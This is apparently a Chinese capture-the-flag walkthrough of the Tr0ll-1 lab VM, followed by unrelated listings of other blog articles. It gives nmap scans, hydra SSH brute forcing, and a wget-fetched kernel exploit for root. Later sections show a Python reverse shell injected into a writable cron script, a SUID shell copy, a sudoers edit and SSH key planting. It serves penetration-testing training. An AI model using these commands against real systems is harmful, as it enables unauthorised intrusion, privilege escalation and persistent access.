实战流程

1、nmap枚举

nmap -sP 192.168.186.0/24

nmap -p- 192.168.186.142

nmap 192.168.186.142 -p- -sS -sV -A

发现ftp存在lol.pcap流量文件,还有FTP带有匿名登录名:Anonymous FTP login allowed,80http存在robots.txt和/secret目录文件。

2、登录FTP枚举

账号密码:

Anonymous

Anonymous

ftp 10.211.55.32
dir
get lol.pcap

3、wireshark分析流量

wireshark lol.pcap

wireshark对流量界面右键->追踪流量->TCP流量!

获得tcp.stream eq 1和tcp.stream eq 2等信息:

tcp.stream eq 1:第一个流显示了一个文件secret_stuff.txt

tcp.stream eq 2:sup3rs3cr3tdirlol

4、页面枚举http://192.168.186.142/sup3rs3cr3tdirlol/

roflmao下载!
file roflmao ---枚举是32位的ELF 二进制文件

strings roflmao 发现Find address 0x0856BF to proceed

hexeditor roflmao ---十六进制的也可以用这个发现!

5、页面枚举http://192.168.186.142/0x0856BF/

存在两页页面:good_luck/ this_folder_contains_the_password/

http://192.168.186.142/0x0856BF/good_luck/which_one_lol.txt

猜测是用户名!

http://192.168.186.142/0x0856BF/this_folder_contains_the_password/Pass.txt

初步猜测是用户密码hydra爆破!

6、hydra爆破

创建user.txt

nano user.txt

6、hydra爆破

hydra -L user.txt -p Pass.txt 192.168.186.142 ssh

login: overflow   password: Pass.txt

7、登录系统ssh

ssh overflow@192.168.186.142

Linux 4-Tr0ll 3.13.0

searchsploit Linux 4-Tr0ll 3.13.0:只有两个符合的

利用37292.c:

cp /usr/share/exploitdb/exploits/linux/local/37292.c /home/whoami/poc

开启本地http服务

python -m http.server 8081

目标端

补齐shell

python -c 'import pty; pty.spawn("/bin/bash")'

在tmp目录下下载

wget http://192.168.186.130:8081/37292.c

执行提权命令

gcc 37292.c -o heiyu1
./heiyu1

提权成功后进入root目录,获取flag,结束。

# cat proof.txt
Good job, you did it!
702a8c18d29c6f3ca0d99ef5712bfbdc

拓展思路

Broadcast Message from root@4-Tr
(somewhere) at 8:40 ...
TIMES UP LOL!
Connection to 10.211.55.32 closed by remote host.
Connection to 10.211.55.32 closed.

它会自动结束ssh进程,而且还是整点提示!说明有计划任务在自动到点结束进程。每5分钟就被踢一次!

find / -name cronlog 2>/dev/null    ---查看计划任务日志信息
find / -name cleaner.py 2>/dev/null ---查看文件在哪儿
find / -writable 2>/dev/null ---枚举所有可写入权限的文件
find / -perm -o+w -type f 2> /dev/null | grep /proc -v ---枚举
/lib/log/cleaner.py

知道了计划任务和py脚本可写入,以及py的位置后,那么方法千万种,接下来演示三种:

1)反弹shell

2)创建root可执行程序,获得root权限

3)写入ssh rsa,ssh登录root用户

nano使用教程:

ctrl x | y

1)反弹shell
nc -tvlp 9999 #!/usr/bin/python
def con():
import socket, time,pty, os
host='10.211.55.19'
port=9999
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.settimeout(10)
s.connect((host,port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
os.putenv("HISTFILE",'/dev/null')
pty.spawn("/bin/bash")
s.close()
con()

2)创建root可执行程序,获得root权限

os.system('cp /bin/sh /tmp/heiyu1')

os.system('chmod u+s /tmp/heiyu1')

或者编辑脚本以将用户溢出添加到sudoers文件中可以sudo su到root用户:

os.system('echo "overflow ALL=(ALL) ALL" >> /etc/sudoers')

cd /tmp
ls
./sh
cd /root
ls
cat proof.txt

3)写入ssh rsa,ssh登录root用户

ssh-keygen   ---都空格回车
cd ~/.ssh
cat id_rsa.pub
mkdir /root/.ssh; chmod 775 .ssh; echo "加上 id_rsa.pub产生的密匙内容上图有例子" >> /root/.ssh/authorized_keys

脑图汇总

【原创】项目四Tr0ll-1的更多相关文章

  1. android 实践项目四

    android 实践项目四 本周主要是开发android baidumap实现公交的查询 1.权限的取得和对屏幕的支持 <uses-permission android:name="a ...

  2. 项目四:Java秒杀系统方案优化-高性能高并发实战

    技术栈 前端:Thymeleaf.Bootstrap.JQuery 后端:SpringBoot.JSR303.MyBatis 中间件:RabbitMQ.Redis.Druid 功能模块 分布式会话,商 ...

  3. docker 运行jenkins及vue项目与springboot项目(四.docker运行nginx)

    docker 运行jenkins及vue项目与springboot项目: 一.安装docker 二.docker运行jenkins为自动打包运行做准备 三.jenkins的使用及自动打包vue项目 四 ...

  4. jenkins构建自由风格项目[四]

    标签(linux): jenkins 笔者Q:972581034 交流群:605799367.有任何疑问可与笔者或加群交流 构建一个php项目 创建一个新的项目 选择从git获取源码 配置gitlab ...

  5. 从零开始的SpringBoot项目 ( 四 ) 整合mybatis

    一.创建一个SpringBoot项目 从零开始的SpringBoot项目 ( 二 ) 使用IDEA创建一个SpringBoot项目 二.引入相关依赖 <!--mysql数据库驱动--> & ...

  6. (原创)项目部署-Tomcat设置默认访问项目及项目重复加载问题处理

    主要是通过配置<Tomcat安装目录>/conf/server.xml文件 步骤: 1.打开server.xml,在</Host>的上一行添加内容格式如下 <Contex ...

  7. jquery选择器(原创)<四>

    前面学习了基本选择器,现在学习过滤选择器中的简单过滤选择器: 简单过滤选择器,主要根据索引值对元素进行筛选,这些过滤选择器类似于CSS的伪类选择器,他们均以冒号(:)开头,并且要与另外一个选择器一起使 ...

  8. MVC4商城项目四:应用Bundle捆绑压缩技术

    从MVC4开始,我们就发现,项目中对Global.asax进行了优化,将原来在MVC3中使用的代码移到了[App_Start]文件夹下,而Global.asax只负责初始化.其中的BundleConf ...

  9. 使用angular4和asp.net core 2 web api做个练习项目(四)

    第一部分: http://www.cnblogs.com/cgzl/p/7755801.html 第二部分: http://www.cnblogs.com/cgzl/p/7763397.html 第三 ...

随机推荐

  1. Android 遮罩层效果--制作圆形头像

    (用别人的代码进行分析) 不知道在开发中有没有经常使用到这种效果,所谓的遮罩层就是给一张图片不是我们想要的形状,这个时候我们就可以使用遮罩效果把这个图片变成我们想要的形状,一般使用最多就是圆形的效果, ...

  2. Unknown host mirrors.opencas.cn You may need to adjust the proxy settings in Gradle 报错及解决办法

    亲测Unknown host mirrors.opencas.cn You may need to adjust the proxy settings in Gradle 解决办法 - 程序员大本营 ...

  3. 在 M1 Mac 上开发 .NET MAUI (iOS)

    在 M1 Mac 上开始使用 .NET MAUI 开发 (iOS) 的最简单方法. .NET 多平台应用程序 UI (.NET MAUI) 是一个跨平台框架,用于使用 C# 和 XAML 创建本机移动 ...

  4. Docker操作容器2

    Docker操作容器1:https://blog.csdn.net/Kevinnsm/article/details/ 1.如何更改docker容器中的配置文件(如nginx容器中的nginx.con ...

  5. k8s和Docker

    Docker是一个开源的应用容器引擎k8s是一个开源的容器集群管理系统这里我尽量用比较浅显的方式来说明k8s系统 一.k8s是如何管理的节点的呢:1.k8s 分master和node 2.master ...

  6. SprigCloud入门踩坑之创建bean失败

    昨天也是报同样的错误,恰好要去吃饭,着急就没找到问题,把项目删了,后续看了路飞大佬的通过pom导入依赖的方式,但是资源导入太慢随放弃. 昨晚熄灯前二十分钟又从头敲了一遍,敲好就断电了,没来得及启动,今 ...

  7. 数据库基础知识详解四:存储过程、视图、游标、SQL语句优化以及索引

    写在文章前:本系列文章用于博主自己归纳复习一些基础知识,同时也分享给可能需要的人,因为水平有限,肯定存在诸多不足以及技术性错误,请大佬们及时指正. 11.存储过程 ​ 存储过程是事先经过编译并存储在数 ...

  8. InnoDB两次写

    partial page write问题: 默认情况下,innodb的一个页面时16k大小,其数据校验也是针对这16k来校验的,将数据写入磁盘是以页面为单位的.文件系统是以4k为单位写入的,机械磁盘是 ...

  9. Python工程打包

    Python项目打包 我是自己写了一个项目,然后需要打包成问一个exe文件,这样直接打开这个文件就可以运行,而不需要在pycharm中打开相应文件才能运行,也可以将打包好的文件发给其他人,不需要pyc ...

  10. js归并排序实现

    let arr = [3,4,2,8,1,1,2,2,3,3,4,5]; const merge = function(L,M,R) { let arr2=[]; let i=0; let p1 = ...